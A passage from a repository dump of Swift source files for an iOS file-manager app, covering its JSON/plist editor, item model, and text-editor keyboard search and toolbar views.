animated: true)\n        } else if case .dictionary(let dict) = elem {\n            let newDict = dict.asSerializedDictionary()\n            \n            let vc = SerializedDocumentViewController(dictionary: newDict, type: type, title: text, fileURL: fileURL, parentController: .dictionary(self), canEdit: true)\n            self.navigationController?.pushViewController(vc, animated: true)\n        } else {\n            let vc = SerializedItemViewController(item: elem, itemKey: text)\n            vc.delegate = self\n            navigationController?.pushViewController(vc, animated: true)\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, accessoryButtonTappedForRowWith indexPath: IndexPath) {\n        presentViewController(forIndexPath: indexPath)\n    }\n    \n    func didChangeName(ofItem item: String, to newName: String) -> Bool {\n        guard let value = serializedDict[item] else {\n            return false\n        }\n        \n        var newDict: SerializedDictionaryType = serializedDict\n        newDict[item] = nil\n        newDict[newName] = value\n        \n        let didSucceed = writeToFile(newDict: newDict)\n        tableView.reloadData()\n        return didSucceed\n    }\n    \n    func didChangeValue(ofItem item: String, to newValue: SerializedItemType) -> Bool {\n        var newDict: SerializedDictionaryType = serializedDict\n        newDict[item] = newValue\n        \n        let didSucceed = writeToFile(newDict: newDict)\n        if isSearching {\n            tableView.reloadData()\n        } else {\n            updateFilteredDict(reloadData: true, searchText: nil)\n        }\n        return didSucceed\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        presentViewController(forIndexPath: indexPath)\n    }\n    \n    @discardableResult\n    func writeToFile(newDict: SerializedDictionaryType) -> Bool {\n        // TODO: - Support for editing nested dicts!\n        guard let fileURL = fileURL, canEdit else {\n            return false\n        }\n        \n        // write to parent dictionary / array\n        if let parentController = parentController {\n            let didSucced: Bool\n            switch parentController {\n            case .dictionary(let parent):\n                let key = parent.serializedDict.first { (_, value) in\n                    value == SerializedItemType.dictionary(self.serializedDict.asAnyDictionary())\n                }?.key\n                \n                guard let key = key else {\n                    return false\n                }\n                \n                var parentDict = parent.serializedDict\n                parentDict[key] = .dictionary(newDict.asAnyDictionary())\n                didSucced = parent.writeToFile(newDict: parentDict)\n            case .array(let parent):\n                var parentArr = parent.array\n                let indx = parentArr.firstIndex { item in\n                    guard let item = item as? Dictionary<String, Any> else {\n                        return false\n                    }\n                    \n                    return serializedDict == item.asSerializedDictionary()\n                }\n                \n                guard let indx = indx else {\n                    return false\n                }\n                \n                parentArr[indx] = newDict.asAnyDictionary()\n                didSucced = parent.writeToFile(newArray: parentArr)\n            }\n            \n            if didSucced {\n                self.serializedDict = newDict\n                return true\n            }\n            \n            return false\n        }\n        \n        switch type {\n        case .json:\n            do {\n                let newData = try JSONSerialization.data(withJSONObject: newDict.asAnyDictionary(), options: .prettyPrinted)\n                try FSOperation.perform(.writeData(url: fileURL, data: newData), rootHelperConf: RootConf.shared)\n                self.serializedDict = newDict\n                return true\n            } catch {\n                self.errorAlert(error, title: \"Unable to write to file \\(fileURL.lastPathComponent)\", presentingFromIfAvailable: presentedViewController)\n                return false\n            }\n        case .plist(let format):\n            guard let format = format else {\n                self.errorAlert(\"Unable to get plist format\", title: \"Can't write to Property List file\", presentingFromIfAvailable: presentedViewController)\n                return false\n            }\n            \n            do {\n                let newData = try PropertyListSerialization.data(fromPropertyList: newDict.asAnyDictionary(), format: format, options: 0)\n                try FSOperation.perform(.writeData(url: fileURL, data: newData), rootHelperConf: RootConf.shared)\n                self.serializedDict = newDict\n                return true\n            } catch {\n                self.errorAlert(error, title: \"Unable to write to file \\(fileURL.lastPathComponent)\", presentingFromIfAvailable: presentedViewController)\n                return false\n            }\n        }\n    }\n    \n    /// Returns the element to be used for the given key\n    /// in the dictionary\n    func dictElement(forKey key: String) -> SerializedItemType? {\n        return isSearching ? filteredDict[key] : serializedDict[key]\n    }\n    \n    override func tableView(_ tableView: UITableView, trailingSwipeActionsConfigurationForRowAt indexPath: IndexPath) -> UISwipeActionsConfiguration? {\n        guard canEdit else {\n            return nil\n        }\n        \n        let deleteAction = UIContextualAction(style: .destructive, title: nil) { _, _, completion in\n            var newDict = self.serializedDict\n            newDict[self.keys[indexPath.row]] = nil\n            if self.writeToFile(newDict: newDict) {\n                self.updateFilteredDict(reloadData: false, searchText: nil)\n                self.tableView.deleteRows(at: [indexPath], with: .fade)\n                completion(true)\n            } else {\n                completion(false)\n            }\n        }\n        deleteAction.image = .remove\n        \n        return UISwipeActionsConfiguration(actions: [deleteAction])\n    }\n}\n\n/// The types openable in SerializedDocumentViewController\nenum SerializedDocumentViewerType {\n    case json\n    case plist(format: PropertyListSerialization.PropertyListFormat?)\n}\n\nextension SerializedDocumentViewController: UISearchBarDelegate {\n    func searchBarCancelButtonClicked(_ searchBar: UISearchBar) {\n        isSearching = false\n        tableView.reloadData()\n    }\n    \n    func searchBar(_ searchBar: UISearchBar, textDidChange searchText: String) {\n        isSearching = !searchText.isEmpty\n\n        updateFilteredDict(reloadData: true, searchText: searchText)\n    }\n    \n    func valueDescription(forElement element: SerializedItemType?) -> String? {\n        switch element {\n        case .array(_), .dictionary(_):\n            return element?.typeDescription\n        default:\n            return element?.description\n        }\n    }\n    \n    func updateFilteredDict(reloadData: Bool, searchText text: String?) {\n        if isSearching {\n            let searchText = text ?? navigationItem.searchController?.searchBar.text ?? \"\"\n            filteredDict = serializedDict.filter { (key, value) in\n                return key.localizedCaseInsensitiveContains(searchText) ||\n                valueDescription(forElement: value)?.localizedCaseInsensitiveContains(searchText) ?? false\n            }\n        }\n        \n        if reloadData {\n            tableView.reloadData()\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedItemType.swift",
    "content": "//\n//  SerializedItemType.swift\n//  Santander\n//\n//  Created by Serena on 17/08/2022.\n//\n\nimport Foundation\n\nenum SerializedItemType: Equatable, CustomStringConvertible {\n    static func == (lhs: SerializedItemType, rhs: SerializedItemType) -> Bool {\n        switch (lhs, rhs) {\n        case (.string(let first), .string(let second)):         return first == second\n        case (.bool(let first), .bool(let second)):             return first == second\n        case (.int(let first), .int(let second)):               return first == second\n        case (.float(let first), .float(let second)):           return first == second\n        case (.data(let first), .data(let second)):             return first == second\n        case (.date(let first), .date(let second)):             return first == second\n        case (.array(let first), .array(let second)):\n            return NSArray(array: first) == NSArray(array: second)\n        case (.dictionary(let first), .dictionary(let second)):\n            return NSDictionary(dictionary: first) == NSDictionary(dictionary: second)\n        default:\n            return false\n        }\n    }\n    \n    case string(String)\n    case bool(Bool)\n    case int(Int)\n    case float(Float)\n    case array(Array<Any>)\n    case dictionary([String: Any])\n    case data(Data)\n    case date(Date)\n    case other(Any)\n    \n    init(item: Any) {\n        switch item {\n        case let string as String:\n            self = .string(string)\n        case let nsNumber as NSNumber:\n            // handle bools\n            if CFGetTypeID(nsNumber) == CFBooleanGetTypeID() {\n                self = .bool(nsNumber.boolValue)\n            } else {\n                // handle numbers\n                switch CFNumberGetType(nsNumber as CFNumber) {\n                case .floatType, .float32Type, .float64Type, .cgFloatType, .doubleType:\n                    self = .float(nsNumber.floatValue)\n                default:\n                    self = .int(nsNumber.intValue)\n                }\n            }\n        case let arr as Array<Any>:\n            self = .array(arr)\n        case let dictionary as Dictionary<String, Any>:\n            self = .dictionary(dictionary)\n        case let data as NSData:\n            self = .data(data as Data)\n        case let date as NSDate:\n            self = .date(date as Date)\n        default:\n            self = .other(item)\n        }\n        \n    }\n    \n    var description: String {\n        switch self {\n        case .string(let string):\n            return string\n        case .bool(let bool):\n            return bool.description\n        case .int(let int):\n            return int.description\n        case .float(let float):\n            return float.description\n        case .array(let array):\n            return array.description\n        case .dictionary(let nsDictionary):\n            return nsDictionary.description\n        case .date(let date):\n            return date.listFormatted()\n        case .data(let data):\n            return \"Data (Size: \\(data.count))\"\n        case .other(let any):\n            return String(describing: any)\n        }\n    }\n    \n    var typeDescription: String {\n        switch self {\n        case .string(_):\n            return \"String\"\n        case .bool(_):\n            return \"Boolean\"\n        case .int(_):\n            return \"Integer\"\n        case .float(_):\n            return \"Float\"\n        case .data(_):\n            return \"Data\"\n        case .array(_):\n            return \"Array\"\n        case .dictionary(_):\n            return \"Dictionary\"\n        case .date(_):\n            return \"Date\"\n        case .other(_):\n            return \"Unknown Type\"\n        }\n    }\n    \n    var representedObject: Any {\n        switch self {\n        case .string(let string):\n            return string\n        case .bool(let bool):\n            return bool\n        case .int(let int):\n            return int\n        case .float(let float):\n            return float\n        case .array(let nsArray):\n            return nsArray\n        case .dictionary(let nsDictionary):\n            return nsDictionary\n        case .data(let data):\n            return data\n        case .date(let date):\n            return date\n        case .other(let any):\n            return any\n        }\n    }\n    \n}\n\nenum SerializedControllerParent {\n    case dictionary(SerializedDocumentViewController)\n    case array(SerializedArrayViewController)\n}\n"
  },
  {
    "path": "Santander/UI/Editors/Serialized/SerializedItemViewController.swift",
    "content": "//\n//  PropertyListItemViewController.swift\n//  Santander\n//\n//  Created by Serena on 17/08/2022.\n//\n\nimport UIKit\n\nclass SerializedItemViewController: UITableViewController {\n    var item: SerializedItemType\n    var itemKey: String\n    \n    weak var delegate: SerializedItemViewControllerDelegate?\n    \n    init(item: SerializedItemType, itemKey: String) {\n        self.item = item\n        self.itemKey = itemKey\n        \n        super.init(style: .grouped)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError()\n    }\n    \n    \n    func setItem(to newValue: SerializedItemType) {\n        if self.delegate?.didChangeValue(ofItem: itemKey, to: newValue) ?? false {\n            item = newValue\n            tableView.reloadRows(at: [IndexPath(row: 0, section: 1)], with: .fade)\n        }\n    }\n    \n    override func viewDidLoad() {\n        super.viewDidLoad()\n        title = itemKey\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 3\n    }\n    \n    override func tableView(_ tableView: UITableView, shouldHighlightRowAt indexPath: IndexPath) -> Bool {\n        return false\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        return 1\n    }\n    \n    /// The button to present the options for changing the value of a bool\n    func makeBoolChangeButton(currentItemBoolValue: Bool) -> UIButton {\n        let button = UIButton()\n        // actions to change between true and false\n        let actions = [true, false].map { bool in\n            UIAction(title: bool.description, state: currentItemBoolValue == bool ? .on : .off) { _ in\n                self.setItem(to: .bool(bool))\n            }\n        }\n        \n        button.menu = UIMenu(children: actions)\n        button.showsMenuAsPrimaryAction = true\n        \n        button.setTitle(currentItemBoolValue.description, for: .normal)\n        button.setTitleColor(.systemGray, for: .normal)\n        return button\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        \n        switch indexPath.section {\n        case 0:\n            let textField = UITextField(frame: cell.frame)\n            textField.text = itemKey\n            textField.returnKeyType = .done\n            \n            let action = UIAction {\n                self.itemKeyTextFieldDone(textField, indexPath: indexPath)\n            }\n            textField.addAction(action, for: .editingDidEndOnExit)\n            cell.contentView.addSubview(textField)\n            \n            textField.translatesAutoresizingMaskIntoConstraints = false\n            NSLayoutConstraint.activate([\n                textField.leadingAnchor.constraint(equalTo: cell.contentView.layoutMarginsGuide.leadingAnchor),\n                textField.centerYAnchor.constraint(equalTo: cell.contentView.centerYAnchor)\n            ])\n            \n            return cell\n        case 1:\n            switch item {\n            case .bool(let bool):\n                return cellWithView(makeBoolChangeButton(currentItemBoolValue: bool), text: \"Value\")\n            case .string(let string):\n                let textView = UITextView(frame: cell.frame)\n                textView.text = string\n                textView.font = .systemFont(ofSize: UIFont.systemFontSize)\n                textView.backgroundColor = cell.backgroundColor\n                textView.autoresizingMask = [.flexibleHeight, .flexibleWidth]\n                textView.isScrollEnabled = true\n                \n                let editTextAction = UIAction {\n                    guard let text = textView.text else {\n                        return\n                    }\n                    \n                    self.setItem(to: .string(text))\n                    textView.resignFirstResponder()\n                }\n                \n                textView.inputAccessoryView = toolbarDoneView(doneAction: editTextAction, textFieldOrView: textView)\n                cell.contentView.addSubview(textView)\n                return cell\n            case .int(_), .float(_):\n                return cellWithView(valueTextField(atIndexPath: indexPath), text: \"Value\")\n            case .date(let date):\n                let datePicker = UIDatePicker()\n                datePicker.date = date\n                \n                let action = UIAction {\n                    self.setItem(to: .date(datePicker.date))\n                }\n                \n                datePicker.addAction(action, for: .editingDidEnd)\n                return cellWithView(datePicker, text: \"Value\")\n            default:\n                conf.text = \"Value\"\n                conf.secondaryText = item.description\n            }\n        case 2:\n            conf.text = \"Type\"\n            conf.secondaryText = item.typeDescription\n        default:\n            fatalError()\n        }\n        \n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, titleForHeaderInSection section: Int) -> String? {\n        switch section {\n        case 0:\n            return \"Key\"\n        case 1:\n            return \"Value\"\n        case 2:\n            return \"Type\"\n        default:\n            return nil\n        }\n    }\n    \n    func valueTextField(atIndexPath indexPath: IndexPath) -> UITextField {\n        let textField = UITextField()\n        \n        let action = UIAction {\n            self.valueTextFieldDone(textField, atIndexPath: indexPath)\n        }\n        \n        switch item {\n        case .string(let string):\n            textField.text = string\n            textField.returnKeyType = .done\n            textField.addAction(action, for: .editingDidEndOnExit)\n        case .int(let int):\n            textField.keyboardType = .numberPad\n            textField.text = int.description\n            textField.inputAccessoryView = toolbarDoneView(doneAction: action, textFieldOrView: textField)\n        case .float(let float):\n            textField.text = float.description\n            textField.keyboardType = .decimalPad\n            textField.inputAccessoryView = toolbarDoneView(doneAction: action, textFieldOrView: textField)\n        default:\n            fatalError() // should never get here\n        }\n        \n        return textField\n    }\n    \n    /// A toolbar with a bar button item saying 'done'\n    /// this is needed for non-string type textfields\n    func toolbarDoneView(doneAction: UIAction, textFieldOrView: UIResponder) -> UIToolbar {\n        let toolbar = UIToolbar()\n        \n        let cancelAction = UIAction {\n            textFieldOrView.resignFirstResponder()\n        }\n        \n        let doneButton = UIBarButtonItem(systemItem: .done, primaryAction: doneAction)\n        let cancelButton = UIBarButtonItem(systemItem: .cancel, primaryAction: cancelAction)\n        \n        toolbar.setItems([cancelButton, .flexibleSpace(), doneButton], animated: true)\n        toolbar.sizeToFit()\n        return toolbar\n    }\n    \n    \n    func valueTextFieldDone(_ textField: UITextField, atIndexPath indexPath: IndexPath) {\n        guard let text = textField.text, !text.isEmpty else {\n            return\n        }\n        \n        switch item {\n        case .string(_):\n            setItem(to: .string(text))\n        case .int(_):\n            guard let num = Int(text) else { return }\n            setItem(to: .int(num))\n        case .float(_):\n            guard let num = Float(text) else { return }\n            setItem(to: .float(num))\n        default:\n            break\n        }\n        \n        textField.resignFirstResponder()\n    }\n    \n    func itemKeyTextFieldDone(_ textField: UITextField, indexPath: IndexPath) {\n        guard let text = textField.text, !text.isEmpty else {\n            return\n        }\n        \n        if self.delegate?.didChangeName(ofItem: itemKey, to: text) ?? false {\n            self.itemKey = text\n            self.title = self.itemKey\n            self.tableView.reloadRows(at: [indexPath], with: .fade)\n        }\n        \n        textField.resignFirstResponder()\n    }\n    \n}\n\nprotocol SerializedItemViewControllerDelegate: AnyObject {\n    func didChangeName(ofItem item: String, to newName: String) -> Bool\n    func didChangeValue(ofItem item: String, to newValue: SerializedItemType) -> Bool\n}\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/KeyboardSearchView.swift",
    "content": "//\n//  KeyboardSearchView.swift\n//  Santander\n//\n//  Created by Serena on 09/02/2023.\n//\n\nimport UIKit\nimport Runestone\n\nfileprivate func makeGenericButton(image: UIImage?) -> UIButton {\n    let button = UIButton(type: .system)\n    button.translatesAutoresizingMaskIntoConstraints = false\n    button.setImage(image, for: .normal)\n    button.tintColor = .label\n    return button\n}\n\n// Not stolen, unlike KeyboardToolsView\nclass KeyboardSearchView: UIInputView {\n    weak var textView: TextView?\n    \n    let searchQueue = DispatchQueue(label: \"com.serena.Santander.KeyboardSearchView.search\", qos: .background)\n    var searchWorkItem: DispatchWorkItem?\n    \n    var searchMethod: SearchQuery.MatchMethod = .contains\n    var isCaseSensitive: Bool = false\n    \n    var searchTextField: UISearchTextField!\n    \n    // for the chevron up/down buttons\n    var currentIndex: Int = 0\n    var chevronUpButton: UIButton!\n    var chevronDownButton: UIButton!\n    var currentResults: [SearchResult] = []\n    \n    init(\n        frame: CGRect = CGRect(origin: .zero, size: CGSize(width: UIScreen.main.bounds.width, height: 44)),\n        textView: TextView\n    ) {\n        super.init(frame: frame, inputViewStyle: .default)\n        self.textView = textView\n        commonInit()\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n    \n    func commonInit() {\n        let doneButton = UIButton(type: .system)\n        doneButton.translatesAutoresizingMaskIntoConstraints = false\n        doneButton.setTitle(\"Done\", for: .normal)\n        doneButton.titleLabel?.font = .preferredFont(forTextStyle: .body)\n        doneButton.setTitleColor(.white, for: .normal)\n        doneButton.addTarget(self, action: #selector(doneDismiss), for: .allEvents)\n        \n        self.chevronUpButton = makeGenericButton(image: UIImage(systemName: \"chevron.up\"))\n        self.chevronDownButton = makeGenericButton(image: UIImage(systemName: \"chevron.down\"))\n        \n        chevronUpButton.tag = 0\n        chevronDownButton.tag = 1\n        \n        chevronUpButton.addTarget(self, action: #selector(chevronButtonClicked(sender:)), for: .touchUpInside)\n        chevronDownButton.addTarget(self, action: #selector(chevronButtonClicked(sender:)), for: .touchUpInside)\n        \n        chevronUpButton.isEnabled = false\n        chevronDownButton.isEnabled = false\n        \n        let filterButton = makeGenericButton(image: UIImage(systemName: \"line.horizontal.3.decrease.circle\")?.withTintColor(.systemBlue, renderingMode: .alwaysOriginal))\n        \n        filterButton.menu = makeSearchMethodMenu(button: filterButton)\n        filterButton.showsMenuAsPrimaryAction = true\n        \n        let chevronButtonsStackView = UIStackView(arrangedSubviews: [filterButton, chevronUpButton, chevronDownButton])\n        chevronButtonsStackView.setCustomSpacing(10, after: filterButton)\n        chevronButtonsStackView.translatesAutoresizingMaskIntoConstraints = false\n        \n        self.searchTextField = UISearchTextField()\n        searchTextField.addTarget(self, action: #selector(searchDidChange(searchTextField:)), for: .editingChanged)\n        searchTextField.inputAccessoryView = self\n        searchTextField.translatesAutoresizingMaskIntoConstraints = false\n        \n        addSubview(doneButton)\n        addSubview(searchTextField)\n        addSubview(chevronButtonsStackView)\n        \n        NSLayoutConstraint.activate([\n            doneButton.leadingAnchor.constraint(equalTo: leadingAnchor, constant: 10),\n            doneButton.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor),\n            \n            chevronButtonsStackView.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor),\n            chevronButtonsStackView.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor),\n            \n            searchTextField.leadingAnchor.constraint(equalTo: doneButton.leadingAnchor, constant: 50),\n            searchTextField.trailingAnchor.constraint(equalTo: chevronButtonsStackView.leadingAnchor, constant: -10),\n            searchTextField.centerYAnchor.constraint(equalTo: layoutMarginsGuide.centerYAnchor),\n        ])\n    }\n    \n    func makeSearchMethodMenu(button: UIButton) -> UIMenu {\n        let filterButtonItems = SearchQuery.MatchMethod.allCases.reversed().map { meth in\n            return UIAction(title: meth.description, state: searchMethod == meth ? .on : .off) { [unowned self] _ in\n                searchMethod = meth\n                button.menu = makeSearchMethodMenu(button: button) // reload menu\n            }\n        }\n        \n        let caseSensitiveAction = UIAction(title: \"Case Sensitive\", state: isCaseSensitive ? .on : .off) { [unowned self] action in\n            isCaseSensitive.toggle()\n            button.menu = makeSearchMethodMenu(button: button) // reload menu\n        }\n        \n        let items: [UIMenuElement] = [UIMenu(options: .displayInline, children: [caseSensitiveAction])]\n        + filterButtonItems\n        return UIMenu(title: \"Search Method\", children: items)\n    }\n    \n    // Action of the 'Done' button\n    @objc\n    func doneDismiss() {\n        guard let textView else { return }\n        textView.highlightedRanges = []\n        textView.inputAccessoryView = KeyboardToolsView(textView: textView)\n        textView.resignFirstResponder()\n    }\n    \n    @objc\n    func searchDidChange(searchTextField: UISearchTextField) {\n        searchWorkItem?.cancel()\n        \n        guard let textView else {\n            return\n        }\n        \n        guard let text = searchTextField.text, !text.isEmpty else {\n            textView.highlightedRanges = [] // remove highlighted ranges if there is no text or it's empty\n            chevronUpButton.isEnabled = false\n            chevronDownButton.isEnabled = false\n            return\n        }\n        \n        let newItem = DispatchWorkItem(flags: .assignCurrentContext) { [unowned self] in\n            update(withResults: textView.search(for: makeSearchQuery(text: text)))\n        }\n        \n        searchWorkItem = newItem\n        searchQueue.asyncAfter(deadline: .now().advanced(by: .milliseconds(3)), execute: newItem)\n    }\n    \n    func update(withResults results: [SearchResult]) {\n        currentResults = results\n        \n        let areResultsNotEmpty = !results.isEmpty\n        DispatchQueue.main.async { [unowned self] in\n            if areResultsNotEmpty {\n                textView?.scrollRangeToVisible(results[0].range)\n            }\n            \n            chevronUpButton.isEnabled = areResultsNotEmpty\n            chevronDownButton.isEnabled = areResultsNotEmpty\n        }\n        \n        let highlightedRanges = results.map { result in\n            HighlightedRange(range: result.range, color: .systemOrange)\n        }\n        \n        textView?.highlightedRanges = highlightedRanges\n    }\n    \n    func makeSearchQuery(text: String) -> SearchQuery {\n        return SearchQuery(text: text, matchMethod: searchMethod, isCaseSensitive: isCaseSensitive)\n    }\n    \n    @objc\n    func chevronButtonClicked(sender: UIButton) {\n        switch sender.tag {\n        case 0: // up button\n            currentIndex -= 1\n        case 1: // down button\n            currentIndex += 1\n        default:\n            break\n        }\n        \n        \n        chevronUpButton.isEnabled = currentIndex != 0\n        chevronDownButton.isEnabled = currentIndex != (currentResults.count - 1)\n        print(currentIndex, currentResults.count)\n        \n        textView?.scrollRangeToVisible(currentResults[currentIndex].range)\n    }\n}\n\nextension SearchQuery.MatchMethod: CaseIterable, CustomStringConvertible {\n    public static var allCases: [SearchQuery.MatchMethod] = [.startsWith, .endsWith, .contains, .fullWord, .regularExpression]\n    \n    public var description: String {\n        switch self {\n        case .contains:\n            return \"Contains\"\n        case .fullWord:\n            return \"Full Word\"\n        case .startsWith:\n            return \"Starts With\"\n        case .endsWith:\n            return \"Ends With\"\n        case .regularExpression:\n            return \"Regex\"\n        }\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/KeyboardToolsView.swift",
    "content": "//\n//  KeyboardToolsView.swift\n//  Santander\n//\n//  Created by Serena on 04/07/2022\n//\n\t\nimport Runestone\nimport UIKit\n\n// Stolen directly from Runestone example source code, modified for use by Serena\nfileprivate func _makeGenericButton(image: UIImage?) -> UIButton {\n    let button = UIButton(type: .system)\n    button.translatesAutoresizingMaskIntoConstraints = false\n    button.setImage(image, for: .normal)\n    button.tintColor = .label\n    return button\n}\n\nfinal class KeyboardToolsView: UIInputView {\n    private let shiftLeftButton = _makeGenericButton(image: UIImage(systemName: \"arrow.left.to.line\"))\n    private let shiftRightButton = _makeGenericButton(image: UIImage(systemName: \"arrow.right.to.line\"))\n    \n    private let undoButton = _makeGenericButton(image: UIImage(systemName: \"arrow.uturn.backward\"))\n    private let redoButton = _makeGenericButton(image: UIImage(systemName: \"arrow.uturn.forward\"))\n    \n    private let dismissButton = _makeGenericButton(image: UIImage(systemName: \"keyboard.chevron.compact.down\"))\n    private let searchButton = _makeGenericButton(image: UIImage(systemName: \"magnifyingglass\"))\n    \n    private weak var textView: TextView?\n\n    init(textView: TextView) {\n        self.textView = textView\n        let frame = CGRect(x: 0, y: 0, width: UIScreen.main.bounds.width, height: 44)\n        super.init(frame: frame, inputViewStyle: .keyboard)\n        setupView()\n        setupLayout()\n        NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerCheckpoint, object: nil)\n        NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerDidUndoChange, object: nil)\n        NotificationCenter.default.addObserver(self, selector: #selector(updateUndoRedoButtonStates), name: .NSUndoManagerDidRedoChange, object: nil)\n    }\n\n    required init?(coder aDecoder: NSCoder) {\n        fatalError(\"init(coder:) has not been implemented\")\n    }\n\n    deinit {\n        NotificationCenter.default.removeObserver(self)\n    }\n\n    private func setupView() {\n        addSubview(shiftLeftButton)\n        addSubview(shiftRightButton)\n        addSubview(undoButton)\n        addSubview(redoButton)\n        addSubview(dismissButton)\n        addSubview(searchButton)\n        \n        shiftLeftButton.addTarget(self, action: #selector(shiftLeft), for: .touchUpInside)\n        shiftRightButton.addTarget(self, action: #selector(shiftRight), for: .touchUpInside)\n        undoButton.addTarget(self, action: #selector(undo), for: .touchUpInside)\n        redoButton.addTarget(self, action: #selector(redo), for: .touchUpInside)\n        dismissButton.addTarget(self, action: #selector(dismissKeyboard), for: .touchUpInside)\n        searchButton.addTarget(self, action: #selector(switchToSearch), for: .touchUpInside)\n        updateUndoRedoButtonStates()\n    }\n\n    private func setupLayout() {\n        NSLayoutConstraint.activate([\n            shiftLeftButton.leadingAnchor.constraint(equalTo: layoutMarginsGuide.leadingAnchor),\n            shiftLeftButton.topAnchor.constraint(equalTo: topAnchor),\n            shiftLeftButton.bottomAnchor.constraint(equalTo: bottomAnchor),\n\n            shiftRightButton.leadingAnchor.constraint(equalTo: shiftLeftButton.trailingAnchor, constant: 6),\n            shiftRightButton.topAnchor.constraint(equalTo: topAnchor),\n            shiftRightButton.bottomAnchor.constraint(equalTo: bottomAnchor),\n\n            undoButton.trailingAnchor.constraint(equalTo: redoButton.leadingAnchor, constant: -10),\n            undoButton.topAnchor.constraint(equalTo: topAnchor),\n            undoButton.bottomAnchor.constraint(equalTo: bottomAnchor),\n            \n            redoButton.trailingAnchor.constraint(equalTo: dismissButton.leadingAnchor, constant: -46),\n            redoButton.topAnchor.constraint(equalTo: topAnchor),\n            redoButton.bottomAnchor.constraint(equalTo: bottomAnchor),\n\n            dismissButton.trailingAnchor.constraint(equalTo: layoutMarginsGuide.trailingAnchor),\n            dismissButton.topAnchor.constraint(equalTo: topAnchor),\n            dismissButton.bottomAnchor.constraint(equalTo: bottomAnchor),\n            \n            searchButton.trailingAnchor.constraint(equalTo: dismissButton.trailingAnchor, constant: -35),\n            searchButton.topAnchor.constraint(equalTo: topAnchor),\n            searchButton.bottomAnchor.constraint(equalTo: bottomAnchor)\n        ])\n    }\n}\n\nprivate extension KeyboardToolsView {\n    @objc private func shiftLeft() {\n        textView?.shiftLeft()\n    }\n\n    @objc private func shiftRight() {\n        textView?.shiftRight()\n    }\n\n    @objc private func undo() {\n        textView?.undoManager?.undo()\n    }\n\n    @objc private func redo() {\n        textView?.undoManager?.redo()\n    }\n\n    @objc private func dismissKeyboard() {\n        textView?.resignFirstResponder()\n    }\n\n    @objc private func switchToSearch() {\n        guard let textView else { return }\n        textView.inputAccessoryView = KeyboardSearchView(textView: textView)\n        textView.resignFirstResponder()\n        textView.becomeFirstResponder()\n    }\n    \n    @objc private func updateUndoRedoButtonStates() {\n        let undoManager = textView?.undoManager\n        undoButton.isEnabled = undoManager?.canUndo ?? false\n        redoButton.isEnabled = undoManager?.canRedo ?? false\n    }\n}\n"
  },
  {
    "path": "Santander/UI/Editors/TextEditor/TextEditorThemeSettingsViewController.swift",
    "content": "//\n//  TextEditorThemeSettingsViewController.swift\n//  Santander\n//\n//  Created by Serena on 03/07/2022\n//\n\t\n\nimport UIKit\nimport Runestone\n\nclass TextEditorThemeSettingsViewController: SettingsTableViewController {\n    \n    weak var delegate: EditorThemeSettingsDelegate?\n    var selectedIndexPath: IndexPath? = nil\n    var theme: CodableTextEditorTheme\n    \n    var editorBackgroundColor: UIColor {\n        theme.textEditorBackgroundColor?.uiColor ?? .tertiarySystemBackground\n    }\n    \n    init(style: UITableView.Style, theme: CodableTextEditorTheme) {\n        self.theme = theme\n        super.init(style: style)\n    }\n    \n    required init?(coder: NSCoder) {\n        fatalError(\"init(coder:) hasn't been implemented.\")\n    }\n    \n    override func viewDidLoad() {\n        self.title = \"Text Editor Settings\"\n    }\n    \n    override func numberOfSections(in tableView: UITableView) -> Int {\n        return 3\n    }\n    \n    override func tableView(_ tableView: UITableView, numberOfRowsInSection section: Int) -> Int {\n        switch section {\n        case 1: return 3\n        case 0, 2: return 2\n        default: fatalError(\"How the hell did you get here?! Unhandled section: \\(section)\")\n        }\n    }\n    \n    override func tableView(_ tableView: UITableView, cellForRowAt indexPath: IndexPath) -> UITableViewCell {\n        let cell = UITableViewCell(style: .value1, reuseIdentifier: nil)\n        var conf = cell.defaultContentConfiguration()\n        switch (indexPath.section, indexPath.row) {\n        case (0, 0):\n            conf.text = \"Font\"\n            conf.secondaryText = theme.font.uiFont.fontName\n        case (0, 1):\n            conf.text = \"Font size\"\n            let stepper = UIStepper()\n            stepper.value = theme.font.uiFont.pointSize\n            stepper.addTarget(self, action: #selector(fontStepperValueChanged(sender:)), for: .valueChanged)\n            cell.accessoryView = stepper\n            conf.secondaryText = theme.font.uiFont.pointSize.description\n        case (1, 0):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Show Line Count\")\n        case (1, 1):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Wrap Lines\")\n        case (1, 2):\n            return cellWithView(settingsSwitch(forIndexPath: indexPath), text: \"Use Character Pairs\")\n        case (2, 0):\n            conf.text = \"Text Color\"\n            cell.accessoryView = cell.colorCircleAccessoryView(color: theme.textColor?.uiColor ?? .label)\n        case (2, 1):\n            conf.text = \"Editor Background Color\"\n            cell.accessoryView = cell.colorCircleAccessoryView(color: editorBackgroundColor)\n        default: break\n        }\n        \n        cell.contentConfiguration = conf\n        return cell\n    }\n    \n    override func tableView(_ tableView: UITableView, didSelectRowAt indexPath: IndexPath) {\n        self.selectedIndexPath = indexPath\n        if indexPath.section == 2 {\n            let vc = UIColorPickerViewController()\n            switch indexPath.row {\n            case 0:\n                vc.selectedColor = theme.textColor?.uiColor ?? .label\n            case 1:\n                vc.selectedColor = 